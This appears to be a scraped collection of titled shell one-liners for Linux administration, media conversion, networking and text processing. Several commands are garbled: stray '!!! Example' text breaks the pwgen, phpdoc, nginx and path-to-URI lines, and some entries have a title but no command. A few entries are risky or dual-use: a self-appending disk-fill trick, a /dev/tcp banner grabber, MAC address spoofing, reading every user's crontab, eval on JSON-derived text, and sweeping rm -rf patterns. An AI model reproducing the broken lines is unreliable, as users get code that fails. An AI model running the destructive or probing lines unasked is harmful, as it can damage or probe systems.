NAME=`wget --quiet URL -O - | grep util-vserver | tail -n 1 | sed 's|</a>.*||;s/.*>//'`; wget URL$UTILVSERVER;
Join the content of a bash array with commas
printf -- " -e %s" ${ARRAY[*]}
find xargs mv
find . -iname "*.mp4" -print0 | xargs -0 mv --verbose -t /media/backup/
Make window transparent (50% opacity) in Gnome shell
xprop -format _NET_WM_WINDOW_OPACITY 32c -set _NET_WM_WINDOW_OPACITY 0x7FFFFFFF
Delete newline
tr -d "\n" < file1 > file2
which procs have $PATH_REGEX open?
find /proc -regex '/proc/[0-9]+/smaps' -exec grep -l "$PATH_REGEX" {} \; | cut -d'/' -f2
Fast tape rewind
Picture Renamer
exiv2 rename *.jpg
Build an exhaustive list of maildir folders for mutt
find ~/Maildir/ -mindepth 1 -type d | egrep -v '/cur$|/tmp$|/new$' | xargs
Bash: escape '-' character in filename
mv ./-filename filename
Do one ping to a URL, I use this in a MRTG gauge graph to monitor connectivity
ping -q -c 1 www.google.com|tail -1|cut -d/ -f5
Calculate sum of N numbers (Thanks to flatcap)
seq 100000 | paste -sd+ | bc
Find the package a command belongs to on debian-based distros
whichpkg () { dpkg -S $1 | egrep -w $(readlink -f "$(which $1)")$; }
Stream system sounds over rtmp
sox -d -p | ffmpeg -i pipe:0 -f flv -preset ultrafast -tune zerolatency rtmp://localhost/live/livestream
Add GPG key easy - oneliner
x=KEY; gpg --keyserver subkeys.pgp.net --recv $x; gpg --export --armor $x | sudo apt-key add -
Convert JSON to YAML
catmandu convert JSON to YAML < file.json > file.yaml
Stoppable sleep
sleep 10 & wait $!
Convert flv without re-encoding
avconv -i ka-ching.flv -acodec copy -vcodec copy ka-ching.mkv
find packages installed from e.g. sid which are newer than those available from e.g. testing when sid is no longer present as a source repo
aptitude search -F '%p %v %V %O' '?narrow(?not(?archive("^[^n][^o].*$")),?version(CURRENT))' | while IFS=' ' read -r pkg ver candidate origin; do if [[ $ver == "$candidate" ]] && [[ $origin == '(installed locally)' ]]; then echo "$pkg"; fi; done
Make ls output better visible on dark terminals in bash
unalias ls
list all crontabs for users
cut -d: -f1 /etc/passwd | grep -vE "#" | xargs -i{} crontab -u {} -l
Override and update your locally modified files through cvs..
cvs update -C
Check variable has been set
[ -z "$VAR" ] && echo "VAR has not been set" && exit 1
ptree equivalent in HP-UX
UNIX95=1 ps -eHf
Sort a character string
echo sortmeplease | perl -pe 'chomp; $_ = join "", sort split //'
Short one line while loop that outputs parameterized content from one file to another
while read l; do echo ${l%% *}; done < three-column-list.txt > only-first-column.txt
Check a server is up. If it isn't mail me.
nc -zw2 www.example.com 80 || echo http service is down | mail -s 'http is down' admin@example.com
Calculate N!
seq 10 | paste -sd* | bc
Generate a quick, lengthy password
head /dev/urandom | md5sum | base64
Serial console to a Vmware VM
socat unix-connect:/tmp/socket stdio,echo=0,raw
Monitor ElasticSearch cluster health - Useful for keeping an eye on ES when rebalancing takes place
while true; do clear; curl -XGET 'http://localhost:9200/_cluster/health?pretty=true'; sleep 1; done
Validating a file with checksum
echo 'c84fa6b830e38ee8a551df61172d53d7 myfile' | md5sum -c
Delete leading whitespace from the start of each line
sed 's/^\s*//' input.txt
copy root to new device
mount /dev/root /mnt/root; rsync -avHX /mnt/root/ /mnt/target/
Get IP address from domain
dig +short google.com
Convert flv without re-encoding
ffmpeg -i "$fin" -c copy -copyts "${fin%.*}.mp4"
get rid of lines with non ascii characters
grep -v $'[^\t\r -~]' my-file-with-non-ascii-characters
extract email addresses from some file (or any other pattern)
grep -Eio '([[:alnum:]_.-]{1,64}@[[:alnum:]_.-]{1,252}?\.[[:alpha:].]{2,6})'
Search for in which package the specified file is included.
/bin/rpm -qf /etc/passwd /etc/issue /etc/httpd/conf/httpd.conf
Checks the syntax of all PHP files in and below the current working directory
find . -name "*.php" -exec php -l {} \; | sed -e "/^No syntax/d"
Copy a file and force owner/group/mode
install -o user -g group -m 755 /path/to/file /path/to/dir/
find large files
find . -type f -size +1100000k |xargs -I% du -sh %
find the delete file ,which is in use
lsof -n |grep delete
Fake system time before running a command
datefudge "2012-12-01 12:00" date
leave a stale ssh session
<ENTER>~.
Find top 10 largest files
du -a /var | sort -n -r | head -n 10
Show local/public IP adresses with or without interface argument using a shell function for Linux and MacOsX
MyIps(){ echo -e "local:\n$(ifconfig $1 | grep -oP 'inet (add?r:)?\K(\d{1,3}\.){3}\d{1,3}')\n\npublic:\n$(curl -s sputnick-area.net/ip)"; }
Use Dell Service Tag $1 to Find Machine Model [Model Name and Model Number]
curl -s $dellurl$1 | tr "\"" "\n" | grep "</td></tr><tr><td class=" -m 2 | grep -v "Service Tag" | sed 's/>//g' | sed 's/<\/td<\/tr<tr<td class=//g'
dd with progress bar and statistics
dd if=FILE | pv -s $(stat FILE | egrep -o "Size: [[:digit:]]*" | egrep -o "[[:digit:]]*") | dd of=OUTPUT
convert uppercase filenames in current directory to lowercase
for x in *;do mv "$x" "`echo $x|tr [A-Z] [a-z]`";done
drill holes on image
convert -size 20x20 xc:white -fill black -draw "circle 10,10 14,14" miff:- | composite -tile - input.png -compose over miff:- | composite - input.png -compose copyopacity output.png
Show git branches by date - useful for showing active branches
for k in `git branch|sed s/^..//`;do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" "$k" --`\\t"$k";done|sort
Filter IP's in apache access logs based on use
cat /var/log/apache2/access_logs | cut -d' ' -f1 | sort | uniq -c | sort -n
List all duplicate directories
find . -type d| while read i; do echo $(ls -1 "$i"|wc -m) $(du -s "$i"); done|sort -s -n -k1,1 -k2,2 |awk -F'[ \t]+' '{ idx=$1$2; if (array[idx] == 1) {print} else if (array[idx]) {print array[idx]; print; array[idx]=1} else {array[idx]=$0}}'
tcpdump top 10 talkers
tcpdump -tnn -c 2000 -i eth0 | awk -F "." '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -nr | awk ' $1 > 10 '
Show one line summaries of all DEB packages installed on Ubuntu based on pattern search
dpkg --list '*linux*' | grep '^ii'
Scan a gz file for non-printable characters and display each line number and line that contains them.
zcat a_big_file.gz | sed -ne "$(zcat a_big_file.gz | tr -d "[:print:]" | cat -n | grep -vP "^ *\d+\t$" | cut -f 1 | sed -e "s/\([0-9]\+\)/\1=;\1p;/" | xargs)" | tr -c "[:print:]\n" "?"
erase content from a cdrw
cdrecord -v -blank=all -force
Delete a file/directory walking subdirectories (bash4 or zsh)
shopt -s globstar ; rm -f **/cscope.out
Pick a random line from a file
perl -e 'rand($.) < 1 && ($line = $_) while <>;'
Force the script to be started as root
if [ $EUID -ne 0 ];then if [ -t $DISPLAY ]; then sudo $0 "$*"; exit; else xdg-su -c "$0 $*"; exit;fi;fi
Which files/dirs waste my disk space
du -Sh | sort -h | tail
Extract one file from a remote tar.gz and put it where you want it
tar --strip-components=1 -C ~/bin/ -xzf <( curl -L https://dist.ipfs.tech/kubo/v0.36.0/kubo_v0.36.0_linux-amd64.tar.gz ) kubo/ipfs
Watch movies in your terminal
mplayer -vo caca MovieName.avi
Fill up disk space (for testing)
tail $0 >> $0
Print a row of 50 hyphens
ruby -e 'puts "-" * 50'
memory usage
ps -e -orss=,args= | sort -b -k1,1n | pr -TW$COLUMNS
extract email adresses from some file (or any other pattern)
grep -aEio '([[:alnum:]_.-\+\-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})'
for ssh uptime
mussh -h 192.168.100.{1..50} -m -t 10 -c uptime
Advanced python tracing
strace python -m trace --trace myprog.py | grep -v 'write(1,'
Fix borked character coding in a tty.
LC_ALL=C man -c man
Pretty Print a simple csv in the command line
python -c 'import sys,csv; c = csv.reader(sys.stdin); [sys.stdout.write("^M".join(map(repr,r))+"\n") for r in c];' <tmp/test.csv | column -s '^M' -t
Search apache virtual host by pattern
sed -n '/^[^#]*<Virtual/{:l N; /<\/Virtual/!bl;}; /PATTERN/p' vhosts.conf
Create a bash script from last n commands
history | tail -(n+1) | head -(n) | sed 's/^[0-9 ]\{7\}//' >> ~/script.sh
Show linux kernel modules dependencies
modprobe --show-depends module_name
run last command with root
sudo !!
Add fade in/out to first & last 25 frames of a video
melt colour:black out=24 vid.mp4 -mix 25 -mixer luma colour:black out=24 -mix 25 -mixer luma -consumer avformat:out.mp4
Top 30 History
history|awk '{print $2}'|sort|uniq -c|sort -rn|head -30|awk '!max{max=$1;}{r="";i=s=100*$1/max;while(i-->0)r=r"#";printf "%50s %5d %s %s",$2,$1,r,"\n";}'
Show a file in less without wrapping long lines
less -S somefile
Testing php configuration
php -r "phpinfo\(\);"
Pretty man pages under X
vman(){ T=/tmp/$$.pdf;man -t $1 |ps2pdf - >$T; xpdf $T; rm -f $T; }
diff 2 remote files
diff <(ssh user@host1 cat /path/to/file) <(ssh user@host2 cat /path/to/file2)
lotto generator
seq -w 50 | sort -R | head -6 |fmt|tr " " "-"
Clear current session history (bash)
history -c
Watch the disk fill up with change highlighting
watch -d -n 5 df
Create a transition between two videos
melt a.mp4 out=49 -track -blank 24 b.mp4 -transition luma in=25 out=49 a_track=0 b_track=1 -consumer avformat:out.mp4
True random passwords using your microphone noise as seed
TMPFILE="/tmp/$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM" && arecord -d 1 -t raw -f cd -q | base64 > $TMPFILE && pwgen -ys 12 12 -H $TMPFILE $@ && rm $TMPFILE
Disable system bell in an X session
xset -b
Check every URL redirect (HTTP status codes 301/302) with curl
curl -sLkIv --stderr - https://exemple.com | awk 'BEGIN{IGNORECASE = 1};/< location:/ {print $3}'
SVN Clean
svn status | grep ^? | awk '{print $2}' | xargs rm -rf
Backup with SSH in a archive
ssh -i $PRIVATEKEY $HOST -C 'cd $SOURCE; tar -cz --numeric-owner .' | tee $DESTINATION/backup.tgz | tar -tz
vim insert current filename
:r! echo %
Easily decode unix-time (funtion)
utime(){ perl -e "print localtime($1).\"\n\"";}
Ruby - nslookup against a list of IPs or FQDNs
while read n; do host $n; done < list
How to speedup the Ethernet device
sudo ethtool -s eth0 speed 100 duplex full
convert MTS video file format into xvid/mp3 avi format
mencoder YOUR_VIDEO.MTS -ovc xvid -xvidencopts bitrate=5000:pass=2 -demuxer lavf -sws 3 -mc 0 -fps 25 -ofps 50 -oac mp3lame -lameopts cbr:br=128 -o YOUR_VIDEO.avi
Mount file system using back-up superblock
mount -o sb=98304 /dev/sda5 /mnt/data5
Google Translate
translate(){wget -U "Mozilla/5.0" -qO - "https://translate.google.com/translate_a/single?client=t&sl=${3:-auto}&tl=${2:-en}&dt=t&q=$1" | cut -d'"' -f2}
Send youtube video to Kodi
curl -i -X POST -d '{"jsonrpc": "2.0", "method": "Player.Open", "params": {"item": { "file" : "plugin://plugin.video.youtube/play/?video_id=YOUTUBEID"}}, "id": 1}' http://username:password@kodi/jsonrpc -H "Content-Type: application/json"
Application network trace based on application name
while(1 -eq 1 ) {Get-Process -Name *APPNAME* | Select-Object -ExpandProperty ID | ForEach-Object {Get-NetTCPConnection -OwningProcess $_} -ErrorAction SilentlyContinue }
Sum columns from CSV column $COL
perl -F',' -ane '$a += $F[3]; END { print $a }' test.csv
convert chinese character into wubi86 input code
echo Your_Chinese_Char | uniconv -encode Chinese-WB
backup system over ssh, exlucde common dirs
ssh root@192.168.0.1 "cd /;nice -n 10 tar cvpP ?exclude={"/proc/*","/sys*","/tmp/*","/home/user/*"} /">backup.tar.gz
Toggle between directories
cd -
Random Futurama quote
curl -s "http://subfusion.net/cgi-bin/quote.pl?quote=futurama&number=1" |awk '/<body><br><br><b><hr><br>/ {flag=1;next} /<br><br><hr><br>/{flag=0} flag {print}'
Search for a
grep -nisI <pattern> * .[!.]*
Recursive Ownership Change
chown -cR --from=olduser:oldgroup newuser:newgroup *
For Gentoo users : helping with USE / emerge
emerge -epv world | grep USE | cut -d '"' -f 2 | sed 's/ /\n/g' | sed '/[(,)]/d' | sed s/'*'//g | sort | uniq > use && grep ^- use | sed s/^-// | sed ':a;N;$!ba;s/\n/ /g' > notuse && sed -i /^-/d use && sed -i ':a;N;$!ba;s/\n/ /g' use
search string in all revisions
for i in `git log --all --oneline --format=%h`; do git grep SOME_STRING $i; done
Incase you miss the famous 'C:>' prompt
export PS1='C:${PWD//\//\\\}>'
SAR - List the average memory usage for all days recorded under '/var/log/sa/*' using sar -r.
for i in `ls /var/log/sa/|grep -E "sa[0-9][0-9]"`;do echo -ne "$i -- ";sar -r -f /var/log/sa/$i|awk '{ printf "%3.2f\n",($4-$6-$7)*100/(3+$4)}'|grep -Eiv "average|linux|^ --|0.00|^-" |awk '{sum+=$1 }END{printf "Average = %3.2f%%\n",sum/NR}';done
Check SATA link speed.
dmesg | grep -i sata | grep 'link up'
Convert JSON to YAML
catmandu convert JSON --multiline 1 to YAML < file.json > file.yaml
drop first column of output by piping to this
perl -pE's/(\S+\s*){0,1}//'
Terminal - Show directories in the PATH, one per line with sed and bash3.X `here string'
sed 's/:/\n/g' <<<$PATH
How to estimate the storage size of all files not named *.[extension] on the current directory
find . -maxdepth 1 -type f -not -iname '*.jpg' -ls |awk '{TOTAL+=$7} END {print int(TOTAL/(1024^2))"MB"}'
Adequately order the page numbers to print a booklet
F=136; [[ $(($F % 4)) == 0 ]] && for i in $(seq 1 $(($F/4))); do echo -n $(($F-2*($i-1))),$((2*$i-1)),$((2*$i)),$(($F-2*$i+1)),; done | sed 's/,$/\n/' || echo "Make F a multiple of 4."
Remove stored .zip archive passwords from Windows credential manager
FOR /f "tokens=2-3 delims==" %G IN ('cmdkey /list ^| find ".zip"') DO cmdkey /delete:"%G=%H"
Validate openssh key & print checksum
ssh-keygen -l -f [pubkey] | awk '{print $2}' | tr -ds ':' '' | egrep -ie "[a-f0-9]{32}"
Rsync between two servers
rsync -zav --progress original_files_directory/ root@host(IP):/path/to/destination/
convert a pdf to jpeg
sips -s format jpeg Bild.pdf --out Bild.jpg
Salvage a borked terminal
echo <ctrl+v><ctrl+o><enter>
Remove all .svn folders
find . -name .svn -type d |xargs rm -rf
Check if a package is installed. If it is, the version number will be shown.
dpkg -l python
Get all files of particular type (say, PDF) listed on some wegpage (say, example.com)
curl -s http://example.com | grep -o -P "<a.*href.*>" | grep -o "http.*.pdf" | xargs -d"\n" -n1 wget -c
Cropping a video file in ffmpeg
ffmpeg -i inputfile.avi -croptop 88 -cropbottom 88 -cropleft 360 -cropright 360 outputfile.avi
Remove a range of lines from a file
sed -i <start>,<end>d <filename>
Recursive chmod all *.sh files within the current directory
find ./ -name "*.sh" -exec chmod +x {} \;
Use a var with more text only if it exists
command ${MYVAR:+--someoption=$MYVAR}
Tail a log and replace according to a sed pattern
tail -F logfile|while read l; do sed 's/find/replace/g' <<< $l; done
Record camera's output to a avi file
mencoder -tv device=/dev/video1 tv:// -ovc copy -o video.avi
Fetch the Gateway Ip Address
netstat -nr | awk 'BEGIN {while ($3!="0.0.0.0") getline; print $2}'
Get IP from host
getent hosts positon.org | cut -d' ' -f1
search for text in files. recursive.
find /name/of/dir/ -name '*.txt' | xargs grep 'text I am searching for'
firefox: how many eat?
htop -p `pgrep firefox`
Remove apps with style: nuke it from orbit
function nuke() { if [ $(whoami) != "root" ] ; then for x in $@; do sudo apt-get autoremove --purge $x; done; else for x in $@; do apt-get autoremove --purge $x; done; fi }
Convert a videos audio track to ogg vorbis.
INPUT=<input_video> && ffmpeg -i "$INPUT" -vn -f wav - | oggenc -o ${INPUT%%.*}.ogg -
Encode a file to MPEG4 format
mencoder video.avi lavc -lavcopts vcodec=mpeg4:vbitrate=800 newvideo.avi
Remove sound from video file using mencoder
mencoder -ovc copy -nosound input.avi -o output.avi
Create a tar file with the current date in the name.
tar cfz backup-`date +%F`.tgz somedirs
svn diff colorized
svn diff --diff-cmd="colordiff"
netstat with group by (ip adress)
netstat -ntu | awk ' $5 ~ /^(::ffff:|[0-9|])/ { gsub("::ffff:","",$5); print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr
In Mac OS X, read the copy area (CMD + V) and convert text to audible speech
pbpaste | say
Download all Red Hat Manuals - A better way by user Flatcap
curl -s https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/ | grep -o '[^"]*Linux/7/pdf[^"]*' | xargs -I{} wget https://access.redhat.com{}
sleep for 1/10s or 1/100s or even 1/1000000s
time usleep 100000
Easily run a program in the background without losing output
function fork () { tf=$(tempfile -d /tmp -p $1.);echo -n "$tf "; $@ &>$tf& }
Get movie length
mplayer -vo null -ao null -frames 0 -identify movie.avi | awk '{FS="="}; /ID_LENGTH/{ H=int($2/3600); M=int(($2-H*3600)/60); S=int($2%60); print H":"M":"S}'
Hide comments
nocomments () { cat $1 | egrep -v '^[[:space:]]*#|^[[:space:]]*$|^[[:space:]]*;' | sed '/<!--.*-->/d' | sed '/<!--/,/-->/d'; }
Oneliner to get domain names list of all existing domain names (from wikipedia)
curl -s http://en.m.wikipedia.org/wiki/List_of_Internet_top-level_domains | sed -n '/<tr valign="top">/{s/<[^>]*>//g;p}'
Simple MAC Changeing
ifconfig wlan0 hw ether 00:11:22:33:44:55
Get own public IP address
curl -s http://wtfismyip.com/text
Generate 2000 images with its number written on it
for i in {1..2000}; do convert -size 200x100 xc:#000000 -font Arial -pointsize 22 -fill white -gravity center -draw "text 0,0 '$i'" $i.png; done
calculate how much bogomips one cpu core has (assuming you have 4 cores).
cat /proc/cpuinfo | grep BogoMIPS | uniq | sed 's/^.*://g' | awk '{print($1 / 4) }'
Discover full java className for import;
getJavaFullClassName SpringComponent
du command without showing other mounted file systems
du -h --max-depth=1 --one-file-system /
Assign top-level JSON entries to shell variables
json='{"a":42, "b":"s t r i n g", "c": []}' ; eval $(echo $json | jq -r 'to_entries | .[] | select(.value | scalars) | .key + "=\"" + (.value | tostring) + "\";"' | tee /dev/tty)
list all file extensions in a directory
find /path/to/dir -type f | grep -o '\.[^./]*$' | sort | uniq
Displays the version of the Adobe Flash plugin installed
strings /usr/lib/flashplugin-nonfree/libflashplayer.so |grep ^LNX
Show total disk space on all partitions
df -h --total | awk 'NR==1; END{print}'
World Cup Live Score
watch -n10 --no-title "w3m http://www.livescore.com/ |egrep 'live [0-9H]+[^ ]'"
Fast command-line directory browsing
cdls() { if [[ $1 != "" ]] ; then cd $1; ls; else ls; fi };
Monitor all DNS queries seen by the local machine
dnstop -l 3 enp1s0f0
Sorts and compare 2 files line by line
comm -12 <(sort -u File1) <(sort -u File2)
worse alternative to
function memo() { awk '! seen[$0]++' <<< $(grep -i "$@" ~/.bash_history ); }
Export a subset of a database
mysqldump --where="true LIMIT X" databasename > output.sql
set prompt and terminal title to display hostname, user ID and pwd
export PS1='\[\e]0;\h \u \w\a\]\n\[\e[0;34m\]\u@\h \[\e[33m\]\w\[\e[0;32m\]\n\$ '
Remove all files but one starting with a letter(s)
rm -rf [a-bd-zA-Z0-9]* c[b-zA-Z0-9]*
Download streaming video in mms
mimms mms://Your_url.wmv
Run a command, redirecting output to a file, then edit the file with vim.
vimcmd() { $1 > $2 && vim $2; }
Monitor connection statistics with netstat and watch
watch -n 1 "netstat -ntu | sed '1,2d' | awk '{ print \$6 }' | sort | uniq -c | sort -k 2"
Copy one file to multiple files
tee < file.org file.copy1 file.copy2 [file.copyn] > /dev/null
Which .service related this file?
qf2s() { rpm -ql $(rpm -qf $1)|grep -P "\.service"; }
See entire packet payload using tcpdump.
tcpdump -nnvvXSs 1514 -i <device> <filters>
Resize all JPEGs in a directory
mogrify -resize 1024 *.jpg
convert a,b,c to ('a','b','c') for use in SQL in-clauses
echo a,b,c | sed -e s/,/\',\'/g -e s/^/\(\'/ -e s/$/\'\)/
Monitoring sessions that arrive at your server
watch -n 1 -d "finger"
list all file extensions in a directory
find /path/to/dir -type f -name '*.*' | sed 's@.*/.*\.@.@' | sort | uniq
shut of the screen ( Fool proof )
switchMonitor () { LF=/tmp/screen-lock; if [ -f $LF ]; then rm $LF; else touch $LF; sleep .5; while [ -f $LF ]; do xset dpms force off; sleep 2; done; fi };
quit gvim remotely
gvim --remote-send ":q!<CR>"
ANSI Terminal Color Test using python
colortest-python
wget multiple files (or mirror) from NTLM-protected Sharepoint
http_proxy=http://127.0.0.1:3128 wget --http-user='domain\account' --http-password='###' -p -r -l 8 --no-remove-listing -P . 'http://sp.corp.com/teams/Team/Shared%20Documents/Forms/AllItems.aspx?RootFolder=%2fteams%2fTeam%2fShared%20Documents%2fFolder'
Get IP address from domain
dig +short <domain>
Type strait into a file from the terminal.
cat /dev/tty > FILE
find geographical location of an ip address
lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|sed -nr s/'^.*My IP address city: (.+)$/\1/p'
most used unix commands
cut -d\ -f 1 ~/.bash_history | sort | uniq -c | sort -rn | head -n 10 | sed 's/.*/ &/g'
Happy New Year!
perl -e 'print for(map{chr(hex)}("4861707079204E6577205965617221"=~/(.{2})/g)),"\n";'
Zip each file in a directory individually with the original file name
ls -1 | awk ' { print "zip "$1".zip " $1 } ' | sh
ANSI 256 Color Test
alias colortest="python -c \"print('\n'.join([(' '.join([('\033[38;5;' + str((i + j)) + 'm' + str((i + j)).ljust(5) + '\033[0m') if i + j < 256 else '' for j in range(10)])) for i in range(0, 256, 10)]))\""
Send apache log to syslog-ng
CustomLog "|nc -u IP PORT "<134>%{%b %d %X}t %h %l %u %t \"%r\"%>s %b \"%{Referer}i\" \"%{User-agent}i\""
Most used commands from history (without perl)
mosth() { history | awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | grep -v "./" | column -c3 -s " " -t | sort -nr | nl | head -n10; }
whois filtering the important information
whois commandlinefu.com | grep -E '^\s{3}'
Remove executable bit from all files in the current directory recursively, excluding other directories
find . ! -type d -exec chmod -x {}\;
Every Nth line position !!! Example "(SED)
sed -n '1,${p;n;n;}' foo > foo_every3_position1; sed -n '2,${p;n;n;}' foo > foo_every3_position2; sed -n '3,${p;n;n;}' foo > foo_every3_position3
Squish repeated delimiters into one
echo "hello::::there" | tr -s ':'
generate a random 10 character password
pwgen 10 !!! Example "generate a table of 10 character random passwords
Run the last command as root
sudo !-1
apache statistics
grep "10/Sep/2013" access.log| cut -d[ -f2 | cut -d] -f1 | awk -F: '{print $2":"$3}' | sort -nk1 -nk2 | uniq -c | awk '{ if ($1 > 10) print $0}'
Create full backups of individual folders using find and tar-gzip
find /mnt/storage/profiles/ -maxdepth 1 -mindepth 1 -type d | while read d; do tarfile=`echo "$d" | cut -d "/" -f5`; destdir="/local/backupdir/"; tar -czf $destdir/"$tarfile"_full.tgz -P $d; done
Assign function keys to your frequent commands
bind '"<ctrl+v><functionKey>":"command\n"'
Monitor all DNS queries made by Firefox Mac OS X version
NSPR_LOG_MODULES=nsHostResolver:5 NSPR_LOG_FILE=/tmp/log.txt /Applications/Firefox.app/Contents/MacOS/firefox
Fix the vi zsh bindings on ubuntu
sudo sed -iorig '/\(up\|down\)/s/^/#/' /etc/zsh/zshrc
phpdoc shortcut
gophpdoc() { if [ $!!! Example "-lt 2 ]; then echo $0 '< file > < title > [ pdf ]'; return; fi; if [ "$3" == 'pdf' ]; then ot=PDF:default:default; else ot=HTML:frames:earthli; fi; phpdoc -o $ot -f "$1" -t docs -ti "$2" }
Prevent an IPv6 address on an interface from being used as source address of packets.
ip addr change 2001:db8:1:2::ab dev eth0 preferred_lft 0
sync two folders except hidden files
rsync -vau --exclude='.*' SOURCE-PATH/myfold TARGET-PATH
check open ports (both ipv4 and ipv6)
netstat -plntu
Create incremental backups of individual folders using find and tar-gzip
find /mnt/storage/profiles/ -maxdepth 1 -mindepth 1 -type d | while read d; do tarfile=`echo "$d" | cut -d "/" -f5`; destdir="/local/backupdir"; tar -czvf "$destdir"/"$tarfile"_`date +%F`.tgz -P $d; done
kill a process(e.g. conky) by its name, useful when debugging conky:)
kill `pidof conky`
Print the 16 most recent RPM packages installed in newest to oldest order
rpm -qa --last | head -n 16
SSH Copy ed25519 key into your host
ssh-copy-id -i your-ed25519-key user@host
Generate random IP addresses
nmap -n -iR 0 -sL | cut -d" " -f 2
One liner to kill a process when knowing only the port where the process is running
kill -9 `lsof -t -i :port_number`
Calculate N!
echo $(($(seq -s* 10)))
url shortner using google's shortner api
shorty () { curl -s https://www.googleapis.com/urlshortener/v1/url\?key\=API_KEY -H 'Content-Type: application/json' -d '{"longUrl": "'"$1"'"}' | egrep -o 'http://goo.gl/[^"]*' }
Change a specific value in a path
echo /home/foo/dir1/bar | awk -F/ -v OFS=/ '{$3 = "dir2"}1'
Ping xxx.xxx.xxx.xxx ip 100000 times with size 1024bytes
ping xxx.xxx.xxx.xxx size 1024 repeat 100000
Unlock VMs in Proxmox
for i in $(qm list | awk '{ print $1 }' | grep -v VMID); do echo "Unlocking:" $i; qm unlock $i; echo "Unlocked"; done
Banner Grabber
bash -c 'exec 3<>/dev/tcp/google.com/80; echo EOF>&3; cat<&3'
VIM: when Ctrl-D and Ctrl-U only scroll one line, reset to default
:set scroll=0
count of files from each subfolder
for i in `find /home/ -maxdepth 1 -type d`; do echo -n $i " ";find $i|wc -l; done
Convert ascii string to hex
echo -n 'text' | xxd -ps | sed -e ':a' -e 's/\([0-9]\{2\}\|^\)\([0-9]\{2\}\)/\1\\x\2/;ta'
tcpdump from src to dst
tcpdump src <srcIP> and dst <dstIP> -w file.pcap
Find broken symlinks and delete them
find -L /path/to/check -type l | xargs rm
Recursively chmod all dirs to 755 and all files to 644
function fixperms() { chmod -R a=r,u+w,a+X . }
Matrix - Just 1 wobbly line rather then a rain!
clear; sleep 5; echo 'while :; do printf "\e[32m%*s\e[0m" $(tput cols) $(shuf -e {0..1} -n $(($(tput lines) * $(tput cols)))); sleep 0.1; done'
Hiding and Show files on Mac OS X
setfile -a V foo.bar; setfile -a v foo.bar;
Directory Tree
find . -type d -print | sed -e 's;[^/]*/;..........;g'|awk '{print $0"-("NR-1")"}'
Sort movies by length, longest first
for i in *.avi; do echo -n "$i:";totem-gstreamer-video-indexer $i | grep DURATION | cut -d "=" -f 2 ; done | sort -t: -k2 -r
copy partition table from /dev/sda to /dev/sdb
sfdisk -d /dev/sda | sfdisk /dev/sdb
Email an svn dump
(svnadmin dump /path/to/repo | gzip --best > /tmp/svn-backup.gz) 2>&1 | mutt -s "SVN backup `date +\%m/\%d/\%Y`" -a /tmp/svn-backup.gz emailaddress
Display laptop battery information
acpi -V
generate file list modified since last commit and export to tar file
git diff-tree -r --no-commit-id --name-only --diff-filter=ACMRT COMMID_HASH | xargs tar -rf mytarfile.tar
Nginx - print all optional modules before compilation
./configure --help | grep -P "^ +--with-(?!(poll|select))[^=]+(_module( |$)| (module|support)$)" | sed -r 's/((dis|en)able|build) /!!! Example "/'
MSDOS command to check existance of command and exit batch if failed
relabel current konsole tab
alias rk='d=$(dcop|grep $PPID) && s=$(dcop $d konsole currentSession) && dcop $d $s renameSession'
Use find to get around Argument list too long problem
find . -name 'junkfiles-*' -print0 | xargs -0 rm
File browser
xdg-open $(ls . | dmenu)
command line fu roulette
wget -qO - www.commandlinefu.com/commands/random | grep "<div class=\"command\">" | sed 's/<[^>]*>//g; s/^[ \t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g'
Find files in multiple TAR files
find . -type f -name "*.tar" -printf [%f]\\n -exec tar -tf {} \; | grep -iE "[\[]|<filename>"
Replace duplicate files by hardlinks
fdupes -R -1 path | while read -r line; do (echo $line | xargs -n 1 | (first="true"; firstfile=""; while read file; do if [ "$first" == "true" ]; then first="false"; firstfile=$file; else ln --force "$firstfile" "$file"; fi; done)); done
Encode file path to URL
convert_path2uri () { echo -n 'file://'; echo -n "$1" | perl -pe 's/([^a-zA-Z0-9_\/.])/sprintf("%%%.2x", ord($1))/eg' ;} #convert2uri '/tmp/a b' ##!!! Example "convert file path to URI
Export unpushed files list
git log origin/master..master --name-only --pretty="format:" | sort | uniq | xargs tar -rf mytarfile.tar
Echo the contents of a Url
alias echourl="wget -qO -"
find matching wholename example
find -wholename "*/query/*.json"
Check a directory of PNG files for errors
ls *.png |parallel --nice 19 --bar --will-cite "pngcheck -q {}"
In-Place search/replace with datestamped backup
sed -i.`date +%Y%m%d` -e 's/pattern/replace' [filename]
Scan your LAN for unauthorized IPs
diff <(nmap -sP 192.168.1.0/24 | grep ^Host | sed 's/.appears to be up.//g' | sed 's/Host //g') auth.hosts | sed 's/[0-9][a-z,A-Z][0-9]$//' | sed 's/</UNAUTHORIZED IP -/g'
Another way to see the network interfaces
ip addr show
Convert GoogleCL gmail contacts to cone adress book
google contacts list name,name,email|perl -pne 's%^((?!N\/A)(.+?)),((?!N\/A)(.+?)),([a-z0-9\._-]+\@([a-z0-9][a-z0-9-]*[a-z0-9]\.)+([a-z]+\.)?([a-z]+))%${1}:${3} <${5}>%imx' #see below for full command
Summarize size of all files of given type in all subdirectories (in bytes)
find . -iname '*.jpg' -type f -print0 |perl -0 -ne '$a+=-s $_;END{print "$a\n"}'
Suppress output of loud commands you don't want to hear from
function quietly () { $* 2> /dev/null > /dev/null; };
Get the size of all the directories in current directory (Sorted Human Readable)
du -h | sort -hr
Get current Xorg resolution via xrandr
xrandr | grep \* | awk '{print $1}'
command line Google I'm Feeling Lucky
lucky(){ url=$(echo "http://www.google.com/search?hl=en&q=$@&btnI=I%27m+Feeling+Lucky&aq=f&oq=" | sed 's/ /+/g'); lynx $url; }; lucky "Emperor Norton"
Get number of users on a minecraft server
(echo -e '\xfe'; sleep 1) |telnet -L $HOSTIP 25565 2>/dev/null |awk -F'\xa7' '$2 {print "users: "$2"/"$3;}'
Equivalent to ifconfig -a in HPUX
for i in `netstat -rn|egrep -v "Interface|Routing"|awk '{print $5}'`;do ifconfig $i;done
Watch active calls on an Asterisk PBX
/usr/sbin/asterisk -rx 'core show channels' | grep -m1 "call" | cut -d' ' -f1
